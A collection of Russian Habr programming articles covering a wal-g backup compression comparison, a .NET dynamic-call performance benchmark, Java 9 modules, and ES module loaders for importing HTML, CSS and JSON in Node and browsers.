s4cmd — бесплатный инструмент командной строки для работы с данными, расположенными в хранилище Amazon S3. Утилита написана на языке программирования python, и благодаря этому может использоваться в операционных системах и Windows, и Linux.
Устанавливаем s4cmd
```
pip install s4cmd
```
#### LZ4
```
s4cmd --endpoint-url=http://ip-адрес-сервера-minio:9000 --access-key=xxxx --secret-key=yyyy du -r s3://pg-backups
840540822 s3://pg-backups/wal_005/
840 МБ в формате lz4 только WAL логов
Полный бекап с lz4 - 1GB данных
time backup_push.sh
real 0m18.582s
Размер S3 бакета после полного бекапа
581480085 s3://pg-backups/basebackups_005/
842374424 s3://pg-backups/wal_005
581 МБ занимает полный бекап
```
#### LZMA
```
После генерации 1ГБ данных
338413694 s3://pg-backups/wal_005/
338 мб логов в формате lzma
Время генерации полного бекапа
time backup_push.sh
real 5m25.054s
Размер бакета в S3
270310495 s3://pg-backups/basebackups_005/
433485092 s3://pg-backups/wal_005/
270 мб занимает полный бекап в формате lzma
```
#### Brotli
```
После генерации 1ГБ данных
459229886 s3://pg-backups/wal_005/
459 мб логов в формате brotli
Время генерации полного бекапа
real 0m23.408s
Размер бакета в S3
312960942 s3://pg-backups/basebackups_005/
459309262 s3://pg-backups/wal_005/
312 мб занимает полный бекап в формате brotli
```
Сравнение результатов на графике.
Как видим, что Brotli сопоставим по размеру с LZMA, но бекап выполняется за время LZ4.
Чат русскоязычного сообщества PostgreSQL: <https://t.me/pgsql>
Поставьте, пожалуйста, звезду на Github, если вы используете [wal-g](https://github.com/wal-g/wal-g) | https://habr.com/ru/post/486188/ | null | ru | null |
# Динамические вызовы: сравнение методов
Динамические вызовы: что это и зачем?
=====================================
Думаю, для каждого разработчика, работающим на статических языках программирования, иногда возникала необходимость прибегнуть к динамическим вызовам — вызвать метод чего-то, о чем пока еще ничего не известно. Или получить какое-то свойство у какого-то объекта, о котором будет известно только в run-time.
Это иногда используется в алгоритмах, основанных на так называемой «утиной типизации» (duck typing):
> Если что-то выглядит как утка, плавает как утка и крякает как утка, то это, вероятно, утка и есть.
В данной статье я хотел бы рассмотреть основные доступные в Microsoft .NET 4.0 способы, сравнить их производительность и синтаксис.
Основные доступные варианты
===========================
Сначала я перечислю те варианты, которые я проанализирую в этой статье. Если какой-то из вариантов покажется не интересным, просто пропускайте. И если будет еще какие либо варианты, стоящие рассмотрения, напишите, пожалуйста, я их добавлю в текст.
Сразу предупрежу, что рассмотренные методы не являются полностью взаимно-заменяемыми: у каждого есть своя особенность и сфера применения. Я хотел сравнить сложность использования и скорость доступа/вызова динамических методов. Это даст возможность выбрать тот или иной метод исходя из конкретной задачи.
Итак:
— Рефлексия (Reflection, RTTI, интроспекция)
— Словарь значений
— Словарь делегатов
— Динамический объект со статическим контейнером
— Динамический объект с Expando
— Динамический объект с перехватом вызова
— Компиляция выражений (Expressions)
Методика тестирования
=====================
Так, как цель — сравнить скорость доступа к полям/методам, то тесты я оформил в такую общую структуру:
— есть тестирующий объект-контейнер (ObjectTester), который содержит в себе тестируемый объект
— тестируемый объект должен содержать два свойства — одно целое (A) и одно строковое (B)
— тестирующий объект делегирует обращения к A и B тестируемому объекту
— тестовая среда создает массив из 2000 объектов контейнеров, заполняя их данными
— тестовая среда выполняет тестирующую операцию 2000 раз над каждым объектом в массиве
— тестирующая операция должна как минимум два раза получить значение свойств А и B (два раза для того, чтоб дать возможность проверить наличие кэша в решении)
— для каждого метода тестирования тест запускается 5 раз
Код компилируется под Release конфигурацией.
Тесты запускались на Windows 7 x64, .NET 4.0.30319, Intel Core 2 Quad Q9400 (2666 MHz), 4GB DDR2
Статическая (не динамическая) реализация
----------------------------------------
Для сравнения, как точка отсчета добавлен такой ObjectTester, который содержит в себе простой класс с двумя авто-свойствами и делегирующий вызовы этому классу.
Данный метод будет самым быстрым, так как совершенно не динамический. Поэтому мы будем сравнивать другие методы по отношению к этому.
Код довольно простой (кстати, запомните статический класс, мы еще им воспользуемся):
``> private class StaticObject
>
> {
>
> public int A { get; set; }
>
> public string B { get; set; }
>
> }
>
>
>
> private class StaticObjectTester : ObjectTester
>
> {
>
> private readonly StaticObject \_o = new StaticObject();
>
>
>
> public override int A
>
> {
>
> get { return \_o.A; }
>
> set { \_o.A = value; }
>
> }
>
>
>
> public override string B
>
> {
>
> get { return \_o.B; }
>
> set { \_o.B = value; }
>
> }
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
**Результат:** 00:00:06.6274538 (+0,00%)
Плюсы:
— Максимально быстро
Минусы
— Не динамически
Рефлексия (Reflection, RTTI, интроспекция)
------------------------------------------
Думаю, это самый первый способ, который приходит на ум, когда надо динамические вызовы.
Для того, чтоб максимально ускорить, я использовал статическое кэширование PropertyInfo. Обычно в реальных проектах всегда есть возможность хоть как-то закэшировать информацию, необходимую для рефлексии.
Так, как нас интересует скорость работы именно рефлексии, то для хранения данных воспользуемся уже готовым классом с двумя свойствами.
Код тестирующего объекта:
``> private class ReflectionObjectTester : ObjectTester
>
> {
>
> private static readonly PropertyInfo PropertyA = typeof (StaticObject).GetProperty("A");
>
> private static readonly PropertyInfo PropertyB = typeof (StaticObject).GetProperty("B");
>
> private static readonly object[] Empty = new object[0];
>
> private readonly Object \_o = new StaticObject();
>
>
>
> public override int A
>
> {
>
> get { return (int) PropertyA.GetValue(\_o, Empty); }
>
> set { PropertyA.SetValue(\_o, value, Empty); }
>
> }
>
>
>
> public override string B
>
> {
>
> get { return (string) PropertyB.GetValue(\_o, Empty); }
>
> set { PropertyB.SetValue(\_o, value, Empty); }
>
> }
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
**Результат**: 00:01:32.3217880 (+1293,02%)
Фактически использование рефлексии увеличило время исполнения почти в 13 раз! Хороший способ, чтоб задуматься перед тем, как использовать этот метод.
Плюсы:
— полностью run time
Минусы:
— слишком долго
— могут возникать проблемы из-за требования прав «ReflectionPermission»
Словарь значений
----------------
Смысл метода — просто хранить значения в словаре (Dictionary). Как ключ возьмем имя поля, как значение — значение поля. Придется использовать Object как тип значения.
Код:
``> private class DictionaryObjectTester : ObjectTester
>
> {
>
> private const string AName = "A";
>
> private const string BName = "B";
>
> private readonly Dictionary<string, Object> \_o = new Dictionary<string, object>();
>
>
>
> public override int A
>
> {
>
> get { return (int) \_o[AName]; }
>
> set { \_o[AName] = value; }
>
> }
>
>
>
> public override string B
>
> {
>
> get { return (string) \_o[BName]; }
>
> set { \_o[BName] = value; }
>
> }
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
**Результат:** 00:00:10.8516518 (+63,64%)
Плюсы:
— совсем динамически: можно и добавлять и удалять
Минусы:
— слабая типизация значений (Object)
— только значения, а не методы
Словарь делегатов
-----------------
На практике чаще используется немного усложненный вариант — мы храним не значения, а способы получения этих значений. Или просто некий динамический набор функций/действий.
Реализация:
``> private class DictionaryDelegateTester : ObjectTester
>
> {
>
> private const string AName = "A";
>
> private const string BName = "B";
>
>
>
> private readonly Dictionary<string, Func> \_getters;
>
> private readonly Dictionary<string, Action> \_setters;
>
>
>
> private readonly StaticObject \_o = new StaticObject();
>
>
>
> public DictionaryDelegateTester()
>
> {
>
> \_getters = new Dictionary<string, Func>
>
> {
>
> {AName, () => \_o.A},
>
> {BName, () => \_o.B}
>
> };
>
> \_setters = new Dictionary<string, Action<object>>
>
> {
>
> {AName, v => \_o.A = (int) v},
>
> {BName, v => \_o.B = v.ToString()},
>
> };
>
> }
>
>
>
> public override int A
>
> {
>
> get { return (int) \_getters[AName](); }
>
> set { \_setters[AName](value); }
>
> }
>
>
>
> public override string B
>
> {
>
> get { return (string) \_getters[BName](); }
>
> set { \_setters[BName](value); }
>
> }
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
**Результат:**00:00:12.3299023 (+85,93%)
Плюсы:
— совсем динамически: можно и добавлять и удалять
Минусы:
— сложный синтаксис
Динамический объект со статическим контейнером
----------------------------------------------
Ну вот и переходим к тому самому новому типу 'dynamic'. Для него я сразу три метода применю. Первый — когда мы храним тот самый статический тип как «хранилище» (backed object) для dynamic'а:
``> private class DynamicObjectTester : ObjectTester
>
> {
>
> private readonly dynamic \_o = new StaticObject();
>
>
>
> public override int A
>
> {
>
> get { return \_o.A; }
>
> set { \_o.A = value; }
>
> }
>
>
>
> public override string B
>
> {
>
> get { return \_o.B; }
>
> set { \_o.B = value; }
>
> }
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
**Результат:** 00:00:10.7193446 (+61,65%)
Плюсы:
— может передаваться в DLR (F#)
— простой синтаксис
Минусы:
— и все-таки в полтора раза дольше
Динамический объект с Expando
-----------------------------
Вообще-то для того, чтоб удобней использовать dynamic-и добавили тип [ExpandoObject](http://msdn.microsoft.com/en-us/library/system.dynamic.expandoobject.aspx). У него есть много приятных мелочей — он и IDictionary, и IEnumerable.
Использование:
``> private class ExpandoDynamicObjectTester : ObjectTester
>
> {
>
> private readonly dynamic \_o = new ExpandoObject();
>
>
>
> public override int A
>
> {
>
> get { return \_o.A; }
>
> set { \_o.A = value; }
>
> }
>
>
>
> public override string B
>
> {
>
> get { return \_o.B; }
>
> set { \_o.B = value; }
>
> }
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
**Результат:** 00:00:09.7034082 (+46,33%)
Плюсы:
— может передаваться в DLR (F#)
— простой синтаксис и дополнительные возможности (энумерация)
Минусы:
— практически отсутствуют, кроме прибавки в скорости
Динамический объект с перехватом вызова
---------------------------------------
Еще одна из приятных возможностей dynamic — возможность перехватывать вызовы к методам и свойствам. Воспользуемся:
``> private class PureDynamicObjectTester : ObjectTester
>
> {
>
> private readonly dynamic \_o = new DynamicContainer();
>
>
>
> public override int A
>
> {
>
> get { return \_o.A; }
>
> set { \_o.A = value; }
>
> }
>
>
>
> public override string B
>
> {
>
> get { return \_o.B; }
>
> set { \_o.B = value; }
>
> }
>
>
>
> #region Nested type: DynamicContainer
>
>
>
> private class DynamicContainer : DynamicObject
>
> {
>
> private int \_a;
>
> private string \_b;
>
>
>
> public override bool TryGetMember(GetMemberBinder binder, out object result)
>
> {
>
> if (binder.Name == "A")
>
> {
>
> result = \_a;
>
> return true;
>
> }
>
> if (binder.Name == "B")
>
> {
>
> result = \_b;
>
> return true;
>
> }
>
> return base.TryGetMember(binder, out result);
>
> }
>
>
>
> public override bool TrySetMember(SetMemberBinder binder, object value)
>
> {
>
> if (binder.Name == "A")
>
> {
>
> \_a = (int) value;
>
> return true;
>
> }
>
> if (binder.Name == "B")
>
> {
>
> \_b = (string) value;
>
> return true;
>
> }
>
> return base.TrySetMember(binder, value);
>
> }
>
> }
>
>
>
> #endregion
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Немного длинновато вышло.
**Результат:** 00:00:11.1040041 (+67,45%)
Плюсы:
— может передаваться в DLR (F#)
— свойства могут даже не существовать
Минусы:
— требует существенно больше кода
Компиляция выражений (Expressions)
----------------------------------
Этот метод не использует dynamic (Хотя довольно легко его можно обернуть в DynamicObject), и наиболее близко находится к методу с использованием рефлексии. На самом деле он и использует рефлексию, но только для того, чтоб построить дерево выражений и откомпилировать его.
Фактически происходит «эмитинг» IL-кода. В результате мы получаем просто огромную прибавку к скорости.
Имплементацию я написал такую: Сделал два метода-расширения над propertyInfo для получения собственно getter-а и setter-а, но не в виде MethodInfo как для обычной рефлексии, а в виде Func-а (getter) и Action-а (setter). Фактически геттер у меня выглядит примерно как "`o => ((T)o).{name}`" а сеттер — "`(o, v) => ((T)o).{name} = v`".
Чтоб оставить эти вспомогательные методы простыми для чтения, я каждый из узлов выражения в отдельные переменные поместил:
``> public static Func<object, T> GetValueGetter(this PropertyInfo propertyInfo)
>
> {
>
> var instance = Expression.Parameter(typeof(Object), "i");
>
> var castedInstance = Expression.ConvertChecked(instance, propertyInfo.DeclaringType);
>
> var property = Expression.Property(castedInstance, propertyInfo);
>
> var convert = Expression.Convert(property, typeof(T));
>
> var expression = Expression.Lambda(convert, instance);
>
> return (Func<object, T>)expression.Compile();
>
> }
>
>
>
> public static Action<object,T> GetValueSetter(this PropertyInfo propertyInfo)
>
> {
>
> var instance = Expression.Parameter(typeof(Object), "i");
>
> var castedInstance = Expression.ConvertChecked(instance, propertyInfo.DeclaringType);
>
> var argument = Expression.Parameter(typeof(T), "a");
>
> var setterCall = Expression.Call(
>
> castedInstance,
>
> propertyInfo.GetSetMethod(),
>
> Expression.Convert(argument, propertyInfo.PropertyType));
>
> return (Action<object,T>)Expression.Lambda(setterCall, instance, argument)
>
> .Compile();
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
В итоге тестирующий класс:
``> private class ExpressionObjectTester : ObjectTester
>
> {
>
> private static readonly Func<object, int> AGetter =
>
> typeof (StaticObject).GetProperty("A").GetValueGetter<int>();
>
>
>
> private static readonly Func<object, string> BGetter =
>
> typeof (StaticObject).GetProperty("B").GetValueGetter<string>();
>
>
>
> private static readonly Action<object, int> ASetter =
>
> typeof (StaticObject).GetProperty("A").GetValueSetter<int>();
>
>
>
> private static readonly Action<object, string> BSetter =
>
> typeof (StaticObject).GetProperty("B").GetValueSetter<string>();
>
>
>
> private readonly StaticObject \_o = new StaticObject();
>
>
>
> public override int A
>
> {
>
> get { return AGetter(\_o); }
>
> set { ASetter(\_o, value); }
>
> }
>
>
>
> public override string B
>
> {
>
> get { return BGetter(\_o); }
>
> set { BSetter(\_o, value); }
>
> }
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
**Результат**: 00:00:08.5675928 (+29,20%)
Плюсы:
— потрясающая скорость
Минусы
— немного сложная реализация
Сводная таблица и выводы
========================
| Название метода | Время | Добавка времени |
| --- | --- | --- |
| Рефлексия | 00:01:33.6077139 | 1311,59% |
| Словарь значений | 00:00:10.8516518 | 63,64% |
| Словарь делегатов | 00:00:12.3299023 | 85,93% |
| Динамический объект со статическим контейнером | 00:00:10.7193446 | 61,65% |
| Динамический объект с Expando | 00:00:09.7034082 | 46,33% |
| Динамический объект с перехватом вызова | 00:00:11.1040041 | 67,45% |
| Компиляция выражений (Expressions) | 00:00:08.5675928 | 29,20% |
Выводы довольно простые:
— Если вам нужна скорость — используйте Expression-ы. Они не такие страшные, если немного покопать, но дают просто потрясающие результаты, если сравнивать с обычной рефлексией (хотя даже если с dynamic, то почти два раза быстрее в среднем)
— Если нужно использовать dynamic объекты (например, в связке с DLR — F#,IronRuby) то лучше использовать ExpandoObject. Он дает отличные результаты.
— Реализация dynamic-ов в .NET'е довольно эффективная, даже если сравнивать со словарем
**Но самое главное:** Используйте динамические вызовы только там, где они *действительно нужны*!
Хороший пример — обработка XML-данных со слабо-определенной структурой. Плохой пример — описание алгоритма. Лучше всегда выделить необходимые интерфейсы и уже оперировать понятиями, описывающими поведение.
Не забывайте — динамические типы практически сводят на нет возможность рефакторинга, возможность отлова ошибок на этапе компиляции, возможность эффективной оптимизации.
Надеюсь, эта статья поможет тем, кто думает воспользоватся динамическими возможностями языка — или выбрать правильный метод или принять решение не пользоваться.
Код доступен на Google Code [для клонирования](http://code.google.com/p/benchmarking-net/source/checkout) или [просмотра](http://code.google.com/p/benchmarking-net/source/browse/)````````` | https://habr.com/ru/post/103558/ | null | ru | null |
# Модульность в Java 9
Основным нововведением Java 9 было именно введение модульности. Про эту фичу было много разговоров, дата релиза несколько раз переносилась, чтобы допилить все должным образом. В этом посте речь пойдет о том, что дает механизм модулей, и чего полезного Java 9 принесла в целом. Основой для поста послужил доклад моего коллеги — [Сергея Малькевича](https://www.linkedin.com/in/%D1%81%D0%B5%D1%80%D0%B3%D0%B5%D0%B9-%D0%BC%D0%B0%D0%BB%D1%8C%D0%BA%D0%B5%D0%B2%D0%B8%D1%87-233673103/).
Для реализации модулей в этой версии Java был выделен целый проект — Project Jigsaw — который включает в себя несколько JEP и JSR.
Для любителей официальной документации, ознакомиться более подробно с каждым JEP можно [здесь](https://openjdk.java.net/projects/jigsaw/).
### Подробнее о Project Jigsaw
Project Jigsaw, который реализует модульность, начал разрабатываться в далеком 2005: сначала вышел JSR 277, а уже в 2008 началась непосредственная работа над проектом. Релиз состоялся только в 2017 году. То есть, для того, чтобы докрутить модули в Java, понадобилось почти 10 лет. Что, собственно, подчеркивает весь масштаб работы и изменений, которые были внесены в ходе реализации модульности.
Какие цели ставили перед собой разработчики:
* облегчить разработку больших приложений и библиотек;
* улучшить безопасность Java SE в целом, и JDK в частности;
* увеличить производительность приложений;
* создать возможность уменьшения размера JRE для запуска на небольших девайсах, чтобы не потреблять слишком много памяти;
* *JAR HELL* (об этом чуть позже).
### Чего полезного принесла Java 9
До 9 версии, JDK и JRE были монолитными. Их размер рос с каждым релизом. Java 8 занимала уже сотни мегабайт, и все это разработчикам приходилось “таскать с собой” каждый раз, чтобы иметь возможность запускать Java приложения. Один только *rt.jar* весит порядка 60 Mb. Ну и сюда еще добавляем медленный старт и высокое потребление памяти. Тут на помощь пришла Java 9.
В [JDK 9](https://openjdk.java.net/projects/jdk9/) было введено разделение на модули, а именно, JDK была разделена на 73 модуля. И с каждой новой версией количество этих модулей растет. В 11 версии это число близится к 100. Это разделение позволило разработчикам создать утилиту JLINK. С помощью JLINK можно создавать кастомные наборы JRE, которые будут включают только «нужные» модули, которые реально необходимы вашему приложению. Таким образом, простое приложение и какой-либо *customJRE* с минимальным (или небольшим) набором модулей в итоге может уместиться в 20 Mb, что не может не радовать.
Список модулей можно посмотреть [здесь](https://cr.openjdk.java.net/~mr/jigsaw/jdk9-module-summary.html).
С приходом Java 9 поменялась структура JDK: теперь она идентична структуре JRE. Если раньше JDK включала папку JRE, где снова имеется bin и дублируются файлы, то теперь все выглядит следующим образом:
### Модули
Собственно. что такое модуль? Модуль — это новый уровень агрегации пакетов и ресурсов (ориг. *“a uniquely named, reusable group of related packages, as well as resources and a module descriptor”*).
Модули поставляются в JAR файлах с пакетами и дескриптором модуля
*module-info.java*. Файл *module-info.java* содержит описание модуля:
имя, зависимости, экспортируемые пакеты, потребляемые и предоставляемые сервисы, разрешения для reflection доступа.
Примеры описания дескриптора модуля:
```
module java.sql {
requires transitive java.logging;
requires transitive java.transaction.xa;
requires transitive java.xml;
exports java.sql;
exports javax.sql;
uses java.sql.Driver;
}
```
```
module jdk.javadoc {
requires java.xml;
requires transitive java.compiler;
requires transitive jdk.compiler;
exports jdk.javadoc.doclet;
provides java.util.spi.ToolProvider with
jdk.javadoc.internal.tool.JavadocToolProvider;
provides javax.tools.DocumentationTool with
jdk.javadoc.internal.api.JavadocTool;
provides javax.tools.Tool with
jdk.javadoc.internal.api.JavadocTool;
}
```
После ключевого слова module у нас идет имя пакета *jdk.javadoc*, который зависит от другого пакета *java.xml* и транзитивно зависит от других пакетов.
Давайте подробнее пройдемся по каждому из ключевых слов:
* *requires* указывает модули, от которых зависит текущий модуль;
* *requires transitive* — транзитивная зависимость — означает следующее: если модуль **m1** транзитивно зависит от модуля **m2**, и мы имеем какой-то третий модуль **mX**, который зависит от **m1** — модуль **mX будет иметь доступ также и к m2**;
* *requires static* позволяет указать compile-time зависимости;
* *exports* указывает пакеты, которые экспортирует текущий модуль (не включая “подпакеты”);
* *exports...to…* позволяет ограничить доступ: *export com.my.package.name to com.specific.package*; то есть можно открыть доступ к пакету нашего модуля только для какого-то другого(их) пакета(ов) другого модуля;
* *uses* указывает, какие сервисы использует модуль:
```
uses java.sql.Driver;
```
В данном случае, мы указываем интерфейс используемого сервиса;
* *provides* указывает, какие сервисы предоставляет модуль:
```
provides javax.tools.Tool with
jdk.javadoc.internal.api.JavadocTool;
```
Сначала указываем интерфейс — *javax.tools.Tool*, после with — реализацию.
Немного о сервисах
Допустим, у нас подключено несколько модулей, которые реализуют абстрактный сервис — *MyService*. При сборке приложения у нас есть возможность решить, какую реализацию сервиса использовать, “перетащив” нужные нам модули реализации сервиса на *--module-path*:
```
Iterable services =
ServiceLoader.load(MyService.class);
```
Таким образом, возвращенный Iterator содержит список реализаций интерфейса MyService. Фактически, он будет содержать все реализации, найденные в модулях, найденных на *--module-path*.
Зачем в принципе были введены сервисы? Они нужны для того, чтобы показать, как наш код будет использован. То есть, здесь заключена семантическая роль. Также, модульность — это про инкапсуляцию и безопасность, так как мы можем сделать реализацию private и исключить возможность несанкционированного доступа через reflection.
Также, один из вариантов использования сервисов — это достаточно простая реализация плагинов. Мы можем реализовать интерфейс плагина для нашего приложения и подключать модули для работы с ними.
Вернемся к синтаксису описания модулей:
До 9ки через reflection мы имели доступ практически ко всему и могли делать все, что хотим и с чем хотим. А 9-ая версия, как уже упоминалось, позволяет обезопасить себя от “нелегального” reflection доступа.
Мы можем полностью открыть модуль для reflection доступа, объявив *open*:
```
open module my.module {
}
```
Либо, мы можем указать какие либо пакеты для reflection доступа, объявив *opens*:
```
module my.module {
opens com.my.coolpackage;
}
```
Здесь же есть возможность использовать ***opens** com.my.coolpackage **to**…*, таким образом предоставляя reflection доступ пакету *com.my.coolpackage* из пакета, который укажем после *to*.
### Типы модулей
Project Jigsaw классифицирует модули следующим образом:
* System Modules — Java SE и JDK модули. Полный список можно посмотреть, используя команду *java --list-modules*.
* Application Modules — модули нашего приложения, которые мы написали, а также те зависимости (от сторонних библиотек), которые использует наше приложение.
* Automatic Modules — это модули с открытым доступом, создаваемые Java автоматически из JAR-файлов. Допустим, мы хотим запустить наше приложение в модульном режиме, но оно использует какую-то библиотеку. В этом случае мы помещаем JAR-файл на *--module-path* и Java автоматически создает модуль с именем, унаследованным от имени JAR-файла.
* Unnamed Module — безымянный модуль, автоматически создаваемый из всех JAR-файлов, которые загружены на *--class-path*. Это универсальный модуль для обеспечения обратной совместимости с ранее написанным Java кодом.
### Class-path vs module-path
С появлением модулей появилось новое понятие — *module-path*. По сути, это тот же *class-path*, но для модулей.
Запуск модульного приложения выглядит следующим образом:
В обычном режиме запуска мы указываем опции и полный путь к мейн классу. В случае, если мы хотим работать с модулями, мы также указываем опции и параметр *-m* либо *-module*, который как раз указывает на то, что мы будем запускать модули. То есть, мы автоматически переводим наше приложение в модульный режим. Далее мы указываем имя модуля и путь к мейн классу из модуля.
Также, если в обычном режиме мы привыкли работать с параметром *-cp* и *--class-path*, в режиме модульности мы прописываем новый параметр *-p* и *--module-path*, который указывает пути к используемым в приложении модулям.
Часто встречаюсь с тем, что разработчики не переходят на версии 9+, так как считают, что им придется работать с модулями. Хотя на самом деле, мы можем запускать наши приложения в старом режиме, попросту не прописывая параметр и не используя модули, а используя только другие новые фишки.
### JAR HELL
Хочу также по диагонали остановится на проблеме Jar Hell.
Что такое Jar Hell в двух словах? Например, у нас есть какое-то наше приложение и оно зависит от **библиотеки X** и **библиотеки Y**. При этом, обе эти библиотеки зависят от **библиотеки Z**, но от разных версий: **X** зависит от **версии 1**, **Y** — от **версии 2**. Хорошо, если версия 2 обратно совместима с версией 1, тогда никаких проблем не возникнет. А если нет — очевидно, что мы получаем конфликт версий, то есть одна и та же библиотека не может быть загружена в память одним и тем же загрузчиком классов.
Как в этом случае выходят из ситуации? Есть стандартные методы, которые разработчики используют со времен самой первой Java, например, *exclude*, кто-то использует плагины для Maven, которые переименовывают названия корневых пакетов библиотеки. Либо же, разработчики ищут разные версии **библиотеки X**, чтобы подобрать совместимый вариант.
К чему это я: первые прототипы Jigsaw подразумевали наличие версии у модуля и позволяли загрузку нескольких версий через разные ClassLoader’ы, но позже от это отказались. В итоге, “серебряной пули”, которую многие ждали, не вышло.
Но, “прямо-из-коробки” нас немного обезопасили от подобных проблем. В Java 9 запрещены *Split Packages* — пакеты, которые разделены на несколько модулей. То есть, если у нас есть пакет *com.my.coolpackage* в одном модуле, мы не можем его использовать в другом модуле в рамках одного приложения. При запуске приложения с модулями, содержащими одинаковые пакеты, мы просто упадем. Это небольшое улучшение исключает возможность непредсказуемого поведения в связи с загрузкой Split пакетов.
Также, помимо самих модулей, есть еще механизм слоев или **Jigsaw Layers**, который также помогает справится с проблемой Jar Hell.
Jigsaw слой можно определить как некоторую локальную модульную систему. И здесь стоит отметить, что Split пакеты, о которых шла речь выше, запрещены только в рамках одного Jigsaw слоя. Модули с одинаковыми пакетами имеют место быть, но они должны принадлежать разным слоям.
Выглядит это следующим образом:
При старте приложения создается слой *boot*, куда входят модули платформы, загружаемые Bootstrap, добавочные модули платформы, загружаемые платформенным загрузчиком и модули нашего приложения, загружаемые Application загрузчиком.
В любой момент, мы можем создать свои слои и “положить” туда модули разных версий и при этом не упасть.
Есть отличный подробный доклад на YouTube на эту тему: [Спасение от Jar Hell с помощью Jigsaw Layers](https://www.youtube.com/watch?v=aw6YJLJG5hw)
### Заключение
Механизм модулей из Java 9 открывает нам новые возможности, при этом поддержка библиотек на сегодняшний день довольно небольшая. Да, люди запускают Spring, Spring Boot и так далее. Но большинство библиотек так и не перешло на полное использование модулей. Видимо поэтому, все эти изменения были восприняты довольно скептически техничесим сообществом. Модули предоставляют нам новые возможности, но вопрос востребованности остаётся открытым.
Ну и напоследок, предлагаю подборку материалов на эту тему:
[Project Jigsaw](https://openjdk.java.net/projects/jigsaw/)
[JDK Module Summary](https://cr.openjdk.java.net/~mr/jigsaw/jdk9-module-summary.html)
[Paul Deitel — Understanding Java 9 Modules](https://www.oracle.com/corporate/features/understanding-java-9-modules.html)
[baeldung.com — Introduction to Project Jigsaw](https://www.baeldung.com/project-jigsaw-java-modularity)
[Alex Buckley — Modular Development with JDK 9](https://www.youtube.com/watch?v=rfOjch4p0Po)
[Евгений Козлов – Модули в Java](https://www.youtube.com/watch?v=J1fHBhFvmco) | https://habr.com/ru/post/499872/ | null | ru | null |
# ESM. Выходим за рамки
Итак, работая над... ну не знаю... каким-нибудь замечательным генератором статики, вы, возможно, захотите импортировать в свой код зависимости напрямую из текстовых файлов, таких как: HTML, MD, CSS, SVG или JSON. Конечно, можно использовать бандлер с соответствующим лоадером. Но, допустим, ваш кодекс самурая велит вам - никаких лишних `npm install xxx` и промежуточных билдов! Только хардкор! Что делать? Выход есть.
Сперва, как обычно, [ссылочка на описание спеки](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Modules), чтобы отмести лишние недоразумения и недопонимания.
И еще пара формальностей перед стартом:
* Убедитесь, что у вас установлена свежая нода, а некро-нода - надежно закопана.
* Если хотите писать изоморфный код, не используйте расширения `*.mjs`, браузеры такого не любят (не забудьте в настройках `package.json` врубить `"type": "module"`).
### Упражнение первое. Нода. Кастомный лоадер (хук).
Не забыли ноду обновить? А то может не сработать.
Делай раз (loader.js):
```
import { URL } from 'url';
import { readFile } from 'fs/promises';
function checkUrl(url) {
return !!['.html', '.htm', '.md', '.css', '.svg', '.json'].find((res) => {
return url.endsWith(res);
});
}
export async function load(url, context, defaultLoad) {
if (checkUrl(url)) {
const content = (await readFile(new URL(url))).toString();
return {
format: 'module',
source: `export default ${url.endsWith('json') ? content : JSON.stringify(content)};`,
shortCircuit: true,
};
}
return defaultLoad(url, context, defaultLoad);
}
```
Делай два (my-app.js):
```
import html from './index.html';
import doc from './doc.md';
import css from './styles.css';
import svg from './image.svg';
import data from './data.json';
console.log(html, doc, css, svg, data);
```
Делай три:
```
node --loader ./loader.js ./my-app.js
```
Ссылка на доку: <https://nodejs.org/api/esm.html#loaders>
> В документации технология помечена как экспериментальная, однако, в свежей версии, параметр `--experimental-loader` заменили на `--loader`, что, косвенно, но говорит нам о том, что технология на подходе к стабильному состоянию. В любом случае, неплохо знать о такой возможности.
>
>
### Упражнение второе. Браузер. Перехват запросов.
Переносимся в браузерный рантайм. Задача та-же: хотим грузить модули, которые вообще никакие не модули. Никаких специальных хуков для ESM браузеры не поддерживают. Что делать? Идем на перехват с помощью [Service Worker](https://developer.mozilla.org/en-US/docs/Web/API/Service_Worker_API/Using_Service_Workers).
Технологии иные, но принцип сохранился. Создаем файл сервис-воркера (sw.js):
```
function checkUrl(url) {
return !!['.html', '.htm', '.md', '.css', '.svg', '.json'].find((res) => {
return url.endsWith(res);
});
}
async function handleRequest(req) {
let content = await (await self.fetch(req.url)).text();
let resp = new Response(`export default ${req.url.endsWith('json') ? content : JSON.stringify(content)};`, {
headers: { 'Content-Type': 'text/javascript' }
});
return resp;
}
self.addEventListener('fetch', (e) => {
if (e.request.destination === 'script' && checkUrl(e.request.url)) {
e.respondWith(handleRequest(e.request));
}
});
```
Регистрируем воркер на странице:
```
navigator.serviceWorker.register('./sw.js');
```
Вуаля - используем кастомные импорты:
```
import html from './index.html';
import doc from './doc.md';
import css from './styles.css';
import svg from './image.svg';
import data from './data.json';
console.log(html, doc, css, svg, data);
```
Доки по воркерам прочитайте внимательно, там есть ряд важных нюансов, с ними лучше ознакомиться перед использованием подобных штук в проде. Но сейчас мы получили от браузера все, что хотели.
### Упражнение третье. Нода + браузер. Параметры запроса.
Теперь будет больше, кхм, наркомании. Я просто покажу тропинку, а вы сами решите, ходить по ней или нет. Итак, возможно именно Вы об этом знали, но для тех, кто не знал, я сообщу: в ESM поддерживаются такие штуки как `top level await`. Это значит, что перед тем, как модуль отдаст свой экспорт, вы можете совершить в нем что-то асинхронное. Например, сделать запрос и получить на него ответ. Что нам это дает? Правильно.
Делаем модуль-загрузчик (load.js):
```
let result = null;
const path = import.meta.url.split('#')[1];
if (path) {
let content;
if (typeof window === 'object') {
content = await (await fetch(path)).text();
} else {
const fs = (await import('fs')).default;
content = fs.readFileSync(path).toString();
}
result = path.includes('.json') ? JSON.parse(content) : content;
}
export default result;
```
Грузим свои ассеты через прокси-модуль:
```
import html from './load.js?#./index.html';
import doc from './load.js?#./doc.md';
import css from './load.js?#./styles.css';
import svg from './load.js?#./image.svg';
import data from './load.js?#./data.json';
console.log(html, doc, css, svg, data);
```
